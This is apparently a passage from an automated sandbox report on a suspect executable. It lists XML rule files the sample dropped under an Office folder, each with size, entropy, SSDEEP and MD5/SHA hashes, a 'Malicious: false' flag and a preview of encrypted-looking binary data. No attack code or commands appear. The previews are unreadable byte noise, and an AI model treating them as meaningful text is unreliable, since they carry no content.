Preview:	.<?...A.7k%.}G.m....&gn9........X..88.aFp5.....NU[.IAA.....B.{.w....D.z..2.?L.@..)...9..!.v.q.v.7d.f.+N...8..'.M...8'.{........9M.1....}.@....E~-.....6r..c0.sM..2....WtY.Q..Qb..@.....:..sn....fx....(.Hx...Y..A..B^.1....B...........N(Ce..:...`..G...9..3J.T...^...X..F.n..u.w..}[..R..9?..3......\|.\....iE.p.N..$.D.P.QBI..'..z....a...%....ib..w=..=!X..6...L...y....$...i..h...EW...\|F.....r.-cX5?g.$1.I........7..u..n..{.....!(.x.%(.0...B[3...8~...b.l.^...).`.{..f.......1."V.O...u.....<8..)G.GF.-@}.(..r.xl.&.cow6.B..t........Z...`.a-....3\..X/vE.....\|H'..B..o..B.4.......[.!..-.....1.X..?.C..G.3u.B...T.~OR+Ur.......f..o.3m...9.j=m\|e....q..,...Ri.n.U..q.< .\|...1.0z.....b2{.c..yS.3,.6..B.i....g.;>U~..-\....r.Q&..GBW.....Y..@k.8.5......v.".>.v......2RYOr.Nj..e....R.:~.U.W.s.\B....O.k.... ..]N....[..p....;....;g..c...*0..A.,Io...<....nO...?.o......M.[.I.c.. ......K.].}7....t..~.H;.&D.1......t....nI .5........[e._u.+........Z^.p..........(...?...^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.889856502312287
Encrypted:	false
SSDEEP:	48:BVeDk1BD5UbqdpKyJDQfdJ4LG1rDul24D:bosMbq3HDAJ4KDbk
MD5:	2D661AD5B037902B32BA2CDB9849C323
SHA1:	74B8FAFE4A4F8F8A8E44A4C5ABD52B9FEEB7141C
SHA-256:	3FB5A828B7DA3FB14FC2C5D76D380AC54C4411BC784B4FDC650A8108924D3F74
SHA-512:	33442F04AB1593F0D1F41D00B5A5B762D6D7FD27ABD3D0C10A28901C2F9614699E91ADBDE5D9ED25A9CCB3549D45F6B2A47E1DCAEDFFB9BC9B1B6048FC2263CB
Malicious:	false
Preview:	.<?.b....<x.18LV.s.Xv.}b...B).......7.e.......y.N..>.R.].1.u...!6.h1."..v.".......p4.@ .l..8DWh..-.......f.....c...{.N.}..3.j..t....iNO..rU...h]...W....uJ....L."..K.n...o..E.Br..'.=c.....%.X=....X>h...m=s .8.G....O.9....4..v..f.F.P.s...\..l..C.DM..C...x...=...."i....>C..\y..f.A\....f.&.G.Y........IW...s}..i..#7.>.e.Dq1epru.p..E7...4y.)..d.q.4...".+A..@.<f.Rl....V^...L`.:..f.....H..?...r....N2.0...}.....</..\..D/...H.l Zn.....R.D..;o.3<..T..I....v...g...M..-.v+5...Kl.j[....6.....Qf..{.kY....-..:..e..Y.....M...........Os....'....."....xb@...r.r._1........E..2\.x)!....1...no#..y......Yh...R.&..5...\|[.E..I.(D/)LS..^...e..{.>~Y.......<Q.... ...B.....!.u........JJ\|.'.!}&.:.d.!..cOso<g.........cm.5.'.7....N+..E....kH.2....@(G.t.M...1.s.D.{\.....K..s....9...y.cd..r.?.-2.....1.J.W..s.....S......c#..y.O..?B...8.....W...F...fO...h.}.K.&...;7G.Ga.H.8.B...8.....W.UO.H...q.....j..7.\|.......Q......."..}@.........D....#..N...@..JR]..T...x.o.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.891210146532985
Encrypted:	false
SSDEEP:	24:oGO9YUnqZG8zNLJXM6YgjsMWDJRO4Hnf527g6BxCU0gu5hKVSaQCMhzE+M1eV7HX:FOmUqY83Ygj0fO4Hd6Bxh03gX9+M6jbD
MD5:	EE606E60DC2F6C72AF4B6D92129048A8
SHA1:	711B7BCD1BCECDCCC0F770D6C2FE6003D635D06B
SHA-256:	71E173DA68654E769D5D5A539869527245B317C76E9A6DEE24E92E5B9206BC49
SHA-512:	2DD3C4612FD7130772B083CBE74BCE13DE2B1B43E9AB4339E15317D2779494755C4BFA0C82B7336E3DA1AA9DECCCD3E08C099B5CB48358504FB810CB7E3F6539
Malicious:	false
Preview:	.<?.(.J.....7.l=.G......}F.. B&..&.`..#6....o..c...dV...cU.K6......v..v...R...]G...O...0.P.....!..2.N. 1.=..s4.....\|2.E..NWq.$...9..3=c.,.im..>mq.?.........^G..Q....F"OE\.h?.P....ebm.a.Q....>z.\...W%...P..H.%..ad!...R aZM.B6E.Dv.S..ka...S... ...95..S.Q..d}....L..FK.....O..:...G_.....3m.So{iM...7n.........fS.T....^...kX.......8..."4C...Q~#.qI..>...N.ir...v...Gcd...m.I.gai....v7'.V.".d....(.....-..M.-.........P[..1z.2$.w...M\|{.....&r.A..K..].%..<..4.....bYi..>O.Y.C...w.<}D:....;..9...@kU.-......4.9..<....qT._.r.....H.......T.U.XCg.{......7.....5p..uX^..f-.&r.t...7.h..........Z........<&KK......{....E........@.R.@..=.=...Ks.;6..l.w..s.u..})Uf.[....%.P.,.....Kj..`Q.6..v. M.....4..kP=....8fshuYH..KU...P4..]...<.l@..LLbK.?.;xilC_..u..}.b..:.`.D1.c.....\M..K.>o(....C/..z...;.\..'.F1G.*}p.M."-K..S}...A....R....0.....v..-.1oR....F.....}Q...d....g&.(.........G....yb.'x?$.:..L.........a........I..o.\|Oe.0v..<....E!.+..D...Qa....Q.j..I-....C...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.888075197667302
Encrypted:	false
SSDEEP:	48:JYnIXXeQgehbuMnaTmU4HyCV74fboM+ht8AkEQ6tp6daQLMbNP8D:6Gu6kMna8yA4M1el6j65MbNg
MD5:	8BAECA2AE4E300A5AAD9A8152B46E586
SHA1:	01AA88F25B97A66515B8A0CD6E2979D208C54843
SHA-256:	78C68F73ADDED569C82744F3178197DCD50F53D92E4BF122955D8A9F45A38F8B
SHA-512:	2E411C0D3D92DBABF4D4583D3B085A43B0D2677D0D68B4AB9C09E7E11B25A309DE2A49306504AEC8F0BBADDAEFD6CE5E28C256CFC5C8876DDC79D57E71BCEC6A
Malicious:	false
Preview:	.<?nkw`.d...y..7......%~.n.....h. }........R..(...W.y.L....24. .V.u.x....FU.0.P..Q.'...F.l..N.(.....R..._..........<?7$pmxk.2qUlt#..>u..gX.$~...T{=._.x............8..(w%F.^.8...29%..d...d5.(..-H..s.9..(aeY....E5....[..E7...}.{Y>..e5{.oe.T2..+...K=...I...;...A.zv2pF.....J......................k~.\|.F$....L...S....\|3...f.:v._".Y.+...2&.....s..F......\|72....L..R(`..p.]..X:bi.H..D.P...:..l......9K7A...Z......$G..t...4....#KZCO......M...Zi....c^P..V..=...q......4..~..D>}....q... ;.$.H(...m...b.....l../.. W.Z.....V.....8......<....j.DT...x.....[z..a{...........s...'..,!.......0.....#L._{.....-./l..e9...i.......w.....H..mN..u[.....E{/..$(N......].......\....v.!$..9.)........J.9.v...\..a..6.9..Hv.gh.].c.<?..>...Q.I..O."X...!\|S.A...Rr)..$-...f&.@U+.7V......"_...q..6..@>..P;.c.F..9...[.25.....IR..M.....I}....L..%....yQ..+..&X..u\|g>.$.\|..g......[P.ZQd..6.gM....F:.N....K6>......2%.)L...%.....X..5.3.^.d.Y.....9Q....i<.V.k...#D.x.vI......_..5A..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.8931740178161665
Encrypted:	false
SSDEEP:	48:ocZWGiQ4ZnxxzhVrXvvHMYLdNwzancEDs4jD:o1GnCxdh1nYODs4v
MD5:	AA1023958AA69FF288868BD5644C955F
SHA1:	8E1230EED917EF306844C17F697CDE39F71C0D47
SHA-256:	2F790D622F95B2367A78AC059A1574CEC43B457941BDF1002798C5FE02C75D8A
SHA-512:	E548F5ED63FEDF76A087D1D5FE2BA57ECA496E427AED4E4D140A37FB89C844C490B65651F8733BE5EE6EC4612E272B6EB696502E8631E388AC66FECD3895B4B1
Malicious:	false
Preview:	.<?.X..k:f.\|..f[.j...0y.............].g.X...\|........)v.@...:.>H..........e..UewLU........&m]......z....Z`./]s..y..X.X{..!..x.&.....Ko.0c...\|.F.t.JR`.gG..:.#..\..tE(.t....\~<F....1T...0y.U9iq..j>..G..M..<.t.k..Pd+.#.......?r...E........G.O.r..;vN..zB..h.9..ls.I.E........3.Z...}....>....)..eO_..HK%....u....g.HZ..Y..nI\.C.r./T....l.3^u.......z...........E....%..D.0...#...o.]V=RT../l8.LKZ.,Z...+WjlP..}..JLN....]..b!m.f.....?...ACv.....]...9}J...........u.=...f............Ur\5...`).8.[.A\|.k..FXA`...r.GB...AX.%.m........>..lc........../.@f...v.....g.{GR.....).T..x..g.U(...!.....!M...F$...C......8.]uV...`.%.#.S.Z.".4.%......M.r\|...P).....N.bs...TY.}..Y.X......RkeD.w...3#.i..qs7..c. ...F$.....OS.\..Eq....b.5.._.R....WC........R.:........M.?.:.(..K>.1.....L.c..i..so.f..;zb...ZO.!G....e...l.%...........c...>....9.....2QM.e.%...9..J..<..].......;._w.i..z..GL..Y..m2&Ho...{[.?.<_..z-.......B0'..d.5..B.a}....h1..%.C...r).&..G3N!......r...`.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.862238495877473
Encrypted:	false
SSDEEP:	48:SPsDFEqLojXGtpbJxj6BsxrfzqAOgfb+/blD:SpmWXGtpj8arfGDgfIbd
MD5:	2417BA4FAF6BD5AEA3F1A572104D690F
SHA1:	BED3AC3346F7596A26A3CCBFA4F5E13B86CE9D51
SHA-256:	80A1376A5EFE92CA306EAB753E259F883ADD68065856892BB7CA3471769B37E4
SHA-512:	957E8CD0885E5ECEF4CDC540D19FE32F2F6F3AA0985A506E4794573E0E4950F7C41A7637C9CC2C1715EC6EC2D16C474EA846FC7223A0250EB9198E1DE34809ED
Malicious:	false
Preview:	.<?........n.@...Z#s".!....4.dr.u3U@.<D..LI..Zsj... ....[J..=...h!p;$T%.(...!,.z..X...4./.l.idw...ze4x.:6...5P..}.m.7..}\..}e.D.^..;.W.`EYD.7.W..j.......TD..o3._^.0U.@%....k.oA..HN..mY..&...Q.......Sn.$%e...9..=...E.C0j$.Q.b.C\|H...^....s.^.kg.6;.S..1..#qrb.x..d.)+9....<..J.`...b....=F..q.+..E.\rp.....TA1...x2..z..8..n0:......E...:.VD...U...u.(....c..'qQ..VqLt.B.7...'.. L.-.9O.......,.....w0...\|O..,\|.......c!l1...I.iPu..Ol...Ez.........c.......TnH...z...}.....&8o..@.!.... 1c.....H.7B..\|....x._........&...o.uE..u...w.......o..V.?..L....Uv...1...+.azY.(nmh.....RGR&C..7...8.O.........m...".]9p.jPO.[..A....w..@U...8C%...e.ZZ.!......LF...r..%..@W.....V...\[...j..u-~.z=.O......d\...gj.....2..R$..t.O..=..L.pE...iq.].4.2......T].[......e,U..K\..g.8^.3p.........6./....T......V@.....A+...b)._...D.r.....79 ..uB.-.b..P.Iy.ul.......(". ..Df.Fi^u.i....h.w..,...b,N._Dk..dE...F&..G.D.:.5..1g..Fi..C..T.lm..4I.Yx._r.X...ZC}....FiS.C.Cc.........@7p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1771
Entropy (8bit):	7.872712469038176
Encrypted:	false
SSDEEP:	48:WlJgyLFc5IIWE/YY2LgN06gPZv9O71ul8SgD:WA2WqNsNnWv9+1gy
MD5:	DCAAD4604E5C24E359186595A2D45330
SHA1:	F59BA06D794B0C62FC0A15551AE15FD198AAE74E
SHA-256:	769B6A5104EBBAF3D294634FFC3C43F0B3355547BADDE6424817C4C083368E0F
SHA-512:	D6A0BBF378BF8FF868B215B77A287A76B19317294560E710DF6454A7F08B3D73532E93B71D3BA8C1BC068C9CF82A4DEDA044F2805B47ABE79F937F234A98E869
Malicious:	false
Preview:	.<?c..v.@'...-...!.O.a...-?.N...3B..1.9..;.J..4.Y(.Q.....o.m.....-.J..`...M......Fa.l..L0......w9....-X....w.J.#.Xj.7x.@.>..8.S...7..k:.-.t.-..Wf..E6.R....?{....?k_55.da...![.............h..5o.....`.#J..P....W..D.r.u..Y...i...%Q.i.1.......Q`.9.....OI..1...X]..#...1y.N....({.~.o.F~4.k.$.O.f.# `.s.1L.U.....)\|G"3....;.6..99?.....\a....".Q.7...N?..X...x.>z....C.....~6.........r.....-.?r. CG.-2.....)..v8.4R.{.Ap./o.$..zw.o..)..P.......f0`....S.V..L.9.x.q['g.(m.;.N...P.av#..\;Z.E.W....Sb.....+(.gC\|...f.iG.w...w"..N@I..f.p......H\.D.rL?.<.0.C..u.w......[...yT...l.c0.]>&B...M^Q@2.....T./.(zD(.<../..S.{...D.....f....! .P...u\|....@1..Cs.,.V.z.\..e.I...\f.K.P.@.....Q...C........_.^C..{.@..[..VX..L.........&.K>.V#4..l.....}Ro.r0..\......\...o/).5..sc....P...b..\..7..+...OB..\..X.2m{@....>.\|.m..>......%Q..7b../..$\...Y{c.....+...y.8.5%.M7..f.......i.0..Kln.I_..A....5q..x.{..FG..A...}...`...Wd;..Wg.`y.9...f.....0\..3._..O.0...AU.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.870401551227858
Encrypted:	false
SSDEEP:	48:P4gZ27H+2HzXw7dr6R+3FBZvdoHH1MOfbQ3ESKiD:wiwjzw7dRlon1ZU3ESF
MD5:	ED4AFB002EEB636B2F3E64E90EBCEBB4
SHA1:	FE6171BEEDC09EC83E69663060A9C5CC354D0FC4
SHA-256:	8935ABEA663526EF0ACB27714E620AD5183965023667CA9B45C950AA8F447520
SHA-512:	C482097B7EC8F59ABA74465F84E380C33438AD65249FC04F77694E64163C636CED6515A7379765E7D77F5852C025B2F4DC5CC1B3F5410228ECF7C06126FB9D94
Malicious:	false
Preview:	.<?..q.O.p....I...3...S... It.d.[.. ~.i......aq.T...g....c...:.<K{. ..x.....Cs.$.........../>D.d.....2...1.X../...(.V.kn../%..g.({%...j@.86G2.C.1..J.X..-..d77.2<.......6.....\|+..)..4..D.$^., .KC.'.5=.6^..$C.%.O.s./.f'.........&.~.j.,.>[.8......TV.r.i.j._t.r.Ei<A..b..Eqn.g...LUZ[.q..];..LF>...z#<..u. C.=.G.......6...E...ma...Pc.e..."..Y.......b.B.i... ~`..L.;.76..R.....5.=..>...%.NZ Vs._.u.m.`.....N.^..rT..^....S...e@fp%..<...T...:_s.#.P\..X.2..Z6.......sZ..8nY....:.J..c...U...9.Yk[f..mdV...5..Z.)..>h./.3X&..kP...c}Q.%.g.....$...K.A..sN..@.Xl9}].9Hx?B.-...@...QF.b+...F.w4.G,..X......z".....kj..O...^..<\,...4.8..6RA...E.bM...7l.W.t4.......".^..U.0yh..........[.c.........$9........HQ`..UG~6.}..f....I.:.....?.T.{;.@E...=..$....:.....S...PL.-."c.....j..nK@.1....#...0.w..T.....F+f..;&e..../o.:.0.f.q...#...`..Ya..i.N..Ioy...i.Q..a.6&I...mW...=a....},.2.hJ..J.S........UH..t. .0.....$-Tb..4..m.U.R.I..O.........[....[-=u.os.^Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.888984590679887
Encrypted:	false
SSDEEP:	24:dmnP+m/2mVbUY3VL/b3jWr48k3j6Aj0O5nju20Kkog3+kAjCA0kKieErzlMdzyzE:d17y31T3ir413C6a9X3wjCR0Ozy0D
MD5:	4D9F512319F3E3619871B2A275197A56
SHA1:	72DCEF82DB132BD647FF609C2328AAA48980B2F1
SHA-256:	647BB33D6F171B67B44E2D4A61E050A00AB1359CFD88023A00FF93980683089F
SHA-512:	7C078F0595C1364F46A0ED1CABFB29EA008CCBA092DAD0EA0BD0AE1BDE44FA0F6BF3FE0C430C4CFC9CB309F340B23CB3F711624A128DAD6B9ECAAA79B0DA2F05
Malicious:	false
Preview:	.<?...n.}.A..v\|,^/.E..rRc\..q........+EA.O...N.]..`..@...I...'e6~T.)....x>....'.^c....!..D{8......9ah.Hy..o..8aF...`..mo.....-w\|........'.;mf..b.....m..L....$.O.. .1F.......u...A....J...5p....P....T..Mu..P7... .3N...?..J.Z.Sot.i............6....0I.R`H.J/'..J.....X.d.!j.........`S.G.K.....n....C..lC!+...n.^.&.N..6..Zzz.,....S..X.L..1..Z.PY.n.6u.K..;......7..3/.l....]...k..Sr...4.Pd..{HU..}......Kr.q....5...4....r....'..^...:.QY.)....i..b.....G.J.p....?..).o.{...Z..~.V%......t..a.aS(PbO.....-..t.g.4.._UK....<...'......T...4.2..!b!..h..g.mz......s.EU.Bp....M...B....5....L.M.......`y..'.J....~...&.4.w../.{.^x..Wm.z~.....3...eS.."r..>.......Oi.`..`..2.wl...i.$G.H.k.^.x.b..e.N.U...S........H.3&Bp.D.N..9.n......Z.4....X.M.k./5}p..6&.........y(..N...O)..d.!...Us.......{.......)....K......pX...@sH#8z~....J.......-5..Ol.,.X..i..F}.u...... ..=.RY.l6.S...c.\.$.....yp....e......tT....q,..q6...f........1....m.N..I.}...................

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.894583318825411
Encrypted:	false
SSDEEP:	24:89neUp7tLQXQ8HdmIDDdoHXQkhOXAa/62dADnzmiZImNSO4kj9meOz1XQlLCJngm:cneSJiZdmCqVEdADnOISO/DOz1xJgEND
MD5:	5A5B5B9F3DE861635375151DD52C27FB
SHA1:	BE5EAA76131823761D71513574146B39B02ADB97
SHA-256:	A0156036833EFADDD24FE702A88BD4D14F57529D282B50137035924191354046
SHA-512:	7FDE8A4783BAB6529F8E9A3B0189903FF720141435F5A5C563133D7785A37312B140CA93DA6A7AB14C8808BB3452B79F830BDB08A004494BD22189DCA79E5FFA
Malicious:	false
Preview:	.<?(."..V.2lMt......kLQJ`..)_.P.K..$.....v..m;.H.......`....c6.#KM!...........\.,.e.....x...G......r.d.......\.{..S_e ..k.>....\|...o^u.(.J7.....r....y.I1./....2m6..c......7......5....Z....?..`.......N..E..G.....y....M....\|R4.d,5.......^e...U..W..K\|'\.....ef..L.i6..BE V...:.+.y...\|"..>,Z."..a~.n...:..=J.....t.q.....1.........<.w..Su..Y...v,6.....$.....O.............-....<V.i`...bc.4>..........F....r...1..j..h.._...JE.9.(4..jN).............c..A.a:....,r.".\|.e.....G.1..d...i..l.5.....;../"w..\|6...JS:.....)O..e...:+\g_......T.....$N.QIk...)L.U_.2..k.\|..1..R..C...z...>u:...V..0y.......wj...p+.g..wU.....}y..y......y.E.6$..l.$.mr.....Z..\|E...,N..n.w.Q(O...j.e...H.ys...[& .....z.^..Nd.8Q.I<.........^../..52.?&.0..1]@P.[;..9$0:..0u..".T......l.T....3.tg..,s.^v_l.Y.......'.......;.v.`...R..)2.P..x....].%..l.=.L.PR\|\.U...n..U.?...].Ly.....8....#%.+.H...~...{.....x_M..<Z.....S.(].<..!.d.)z...U8.g.C...=...Ri=(.L....0..g.....~.y..,..b..(h.....wX...F..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1776
Entropy (8bit):	7.8818175721196475
Encrypted:	false
SSDEEP:	48:MxjzDK3GniJYT5Ngt232XYkJVVTLLZgkaGx951sEgGZAD:MxvDK2niJYTwUGXZZLNgPsjgt
MD5:	A5B87CEED097B9674FFF81905FA2D187
SHA1:	22535F5B1C77838D7E060A7795172CB70380845D
SHA-256:	D514E7ED18DAEA90ECC4C3D5AF1C84ED2FAD75DDF683DABD6BDDA2FE6C44699E
SHA-512:	F4758738FF28174165BA8F9C73B41C83C12BEBD644B7C0FF0424697E812323F2DEBFE4F502EF2E037A20181D45C7A88B50193409F8DF990D7185B8F44ADA1238
Malicious:	false
Preview:	.<?...d~.......N@`........C.S_..b.#.....S.W.3Do.w....gA.]....d9...{m~..u.h].'....\|S..h..i...NW@..,.I...).....#d.B.{.... !9n.,YZM..Fz3......t..N..MYi.:'..Yu(n..i-I..`.[-.M\n...s...s.v(....../.X..e.z...R.w..O.#...g..4R..4.......;..Q....e^....P...4...Y........0...0....8..s..f.f..=..F i.e._..O... `Z......]..1..N7...w".v........S.L..Uk...">?.i.s.U.....+...>=.nOuI.}2k.P..,.!.. .C.k..1.:...>.... .E@ov.o=...N....c5.Y..Z..`d.......aD+..&..O..k.....~..w^r.sI.Sq...\|..h4.._Y..7..U..$..0}.z.6Z.u=P7M.v4Z...f.-.......~.u.0..y...v...>D......}Q)D.!Te.......Z.....@^..wQ.....^1......7G.3.G.qp.,$-.$....Q...5...2...IP/.-:awHMV..W......m....u.6...8.r.wu:...=...1A.ZpS`.....?a.k.<M..a.....(.6..Ax...D..5...i\...$..f...S.^.d.u_8.E.<..v.uk......".~.8..P$).....D..O4....6..N.$.~..r.;.Q..<)9.b$?...6M...J.N..0.K....J.!$n-.^(n.>....J........x~xVi..{fr..hv....X.:..E.....&.....B0...W........3.\.......q".u"...h...P.A(K[...c~...0vcN.5......2..(A..(.$.m.#..Q..].~......M,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.888278281549605
Encrypted:	false
SSDEEP:	24:DRP8qMaRb91TsBoI2uq3HZZcbijb6f6z7NfSlA5dndKBKe57l/b+bmS/LmQbD:x5MWBJiz2uIyEbZfL5/eKeVtpSmKD
MD5:	E9021F4FBFE7AF2F99FB1B7464A2E10B
SHA1:	E852A246177E2ADD206D56BD81879CCC12C1B435
SHA-256:	1550F9A9DC091E061EF06173A3352685562C9D258A90D8C28D23E5A698CBA427
SHA-512:	2B36B12493FE25A3BDCD251CA6FA2C3D7A45FBD86DF0AE08C723F08FA744598F96924309DABADF5AB2EF35F5718D3DA4F25F8599BD6C093C7817B4AC6602348B
Malicious:	false
Preview:	.<?...........L.\|..[.g..>.&.....[.4."O....S#...YG..h......../ .Q.-`.O... f~...6...F..............I...\|.]......n./.T.hjD...m...tQ.>.f.....,1&......o..i?......N.zR.-......T7;D{uE...r.j........5.7.n.k;.6...k..6...$........@W....b....}.@I9%A\|....42F....u-.12.FVW.%{P<..Q.....qN..I.<P.9..H..6..}...G...e....`..[...jK..2.....}.......2.g..hD....4M..../..S.......\|.=.....N/../.2...r......dz}.,R.....I..:.AKq....<.4....}.....D.@@..$.DZ.....l..[Y/z._.C.k.Q?.....a(.=....k#....CJ.`.........JIO._.nhki..]..0..-h..l.V......R.G....D..w.k..lOIx...t..1....i`2...}Y...$.....V...yx....lT.@.........$...Q.......u...$.>.[/...L.F.]\.5;_...q....b ...u.f....o..s.=...u.e&..p.:BC9.....bbC.a.Hj..j.b....;..8..{.=8......z#...$F...Eb6..L..^....].....w{GGj..g.3{...I.....4..)..~....3Bdw8i.....F...eR.....(4.R.Q.....7..Y...=.&.E......(.._...MV'.O.....a..\|.~b#..nj...U..Rc.<.x..t\|....*.E:.i..'.f.....l/.....!.lH...6j...H"Ni?`g...l.j...t;[\|..i..6...2.}.M.D...0..[L.P\|........^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.898482352253122
Encrypted:	false
SSDEEP:	48:LZv9b0IM7iNHnH+uAs2piw76yQ5X2UL6hEbEYmMD:LV9bfHnH+xs24w7WX2ULyYF
MD5:	97B5B91961EB87A8C92694872B868434
SHA1:	B6FF609AE353F46C903C06C9BB4C005E44218300
SHA-256:	478298FA9C39064F2DFD5FEBAB484968A2B51FE90FC6949B46C879FB595F0A0B
SHA-512:	44E15AD6C30F115690ACB213F854C83499A50A3FC11F07326BBDBEF48833B3E4E021A874384BE762CB04C6927175DA5238617DA9DBED80CC79C90C6481647ABA
Malicious:	false
Preview:	.<?z...q..}5.. .j..0.=S/1....+...$...R.,.ck...#}..]F.6..W...m0_kT.}.t..i ..0......_8c.0....H..1A3...>..@..3D..6.r(c.....F.I:....Vc...%....\|.....s....8..P...+j@.v_.t%..}.D.gt..d.-..SE;..Cl.I"......N.>>-m..;....4..\|.....e:2...H....<.........R4.....J.@.....t.....nRpl..<.3..)P....h.ao...\|W...Y[......0....D<..ZM....;.C...Sko.;.0&.z."$+...\..\..N..........5..c.+Uu.VH.<.....^...l..P.!.w...`..3..#..S.7...>..hX..>.2.L'.N'.mNH....}.....&N.......5(...6.....Q.XY&C?.#f+.."..mgW......s.".....X%.I$p3].....o...-x9s...;\(....}...j8.nSw#....._.#.\|...` ...k.PE)\rx".\.......>..H`.?...7L.PL..A..L(~fB.vG......d.+C.J..Il......GDX\|..1..I....]v....[..Ev.7.VZ.Z.bv...&..;.N..Uf..l.3.H.5...h........b...... .k)ZLx....U.P..a1...v...Y..D.......O(..0.b...\o....Xk...V@R..L^...{$.'f..o.1.KiAy.;4..E..>....^0..i...UV..L.......;.Y-...v~8....R&.B%,AS.o..U.E..f.......z....j.....V..S.u'....N...`p\|F..+...KU...+.+...!.dD...R...e..s7u..Z.R........-8wH..}.RtX..7......Y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.891830138967571
Encrypted:	false
SSDEEP:	24:/UKrck4EDaWQ1iI/h4B5GWjPIy/fFe8yw36X3bQj38vaRiVFf/rmgC/zifsMK8bD:/UK56j/i7jPI+tA3cLUaovHy3/2s6D
MD5:	D1508F7DCBFAB9F849F8FF5C17711C08
SHA1:	AF1E39CB7F45AE2E87A0B759E78D5EA874236466
SHA-256:	90625D34D48594716485ECA60AB361E878D20FC63B8860EACE2486C109314D82
SHA-512:	68FDEAD7F57CEF049DD35AA432E194890A26D2E31F81BD6120D53369B2B8131EBD9CD2A3B697EC253078141B468BD389DC47E36EC55EB157AF9515BD0D7E1986
Malicious:	false
Preview:	.<?gR....J@NO)i.".~..~........`:..^:q..Cqv.$..,.J..%#..NA#.....J..B2.z...R...........7'..N.6..-..E.7.6hQ...PB...O{6.#\|.b.0..i.=.t..L.....S..y..Tqn......\|eex...61..~su.E3BC]Bz;/..`s..c.h..7..!.......QJ.U..x..iH2.b..@.r.\|G...:.w....t..Yg.b.....w_X...,t.=_....z.Q.........u[.A/.@L.1.......-GX............X.....6gD\(.#d..S..h7.....A3....eE... ......!.[t+B.."{Jo.{...{....k..9..'..?.V.&....2YB_..l....k.....O.R...M3T..,D..wY]0Z.l...#`......C..C...... ....<I.M.,.c\.p...Z..e..rb<T..Lk.<W......g[...Z..P.=...N....3`>..(........&...@S.......B.\|...T.<.....,.m.....4yn..z-iwL....u..Y...;V.t.....+..z,G.....&....s.8....auK.a.8...U.....a...Q.t._.~7[.(.....B..'.....g/6....u..!\|.#M#.S......$]...j....L...x... .....U.Fue....]..@@.......V..........E...>%....-M>..._...&./....I"4^vf..GE.#d.....].._..d.......i..Ab...=C..B.R....:...*a....JF.d#..]o.FH:.m.Q..u....L@[.H3....2.{c.S.C.q.m..P.....8D..+= r....~.. .W.....6#.[.,C)..^1y..-W7A9.d@....BfK.jN.>)uH..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.8862063392519355
Encrypted:	false
SSDEEP:	48:L3fQ8MtjMh0El+nWg8vdXnpX3lJgWU9ilIC2SZHE2gSX9I5Df2xiD:LBMtjMhciXpX3kn0KFyHE2gSKfmq
MD5:	591293E7B2BA4421DC1C3FFDF5118615
SHA1:	17C0719828F5947D6C0F1F5667C7787BEC4720A6
SHA-256:	DCDF3CFD18D1BE196A51E24653D8229FC3680D446CF98A24115041DD7D4A087E
SHA-512:	A905EC4F772218E4F1881C8916B58819F89C81E2C5605BD8F53E31E680A5942C422321367010E08034C637D5945C63B2F023EA59D4976DA13E86FC901E3C5765
Malicious:	false
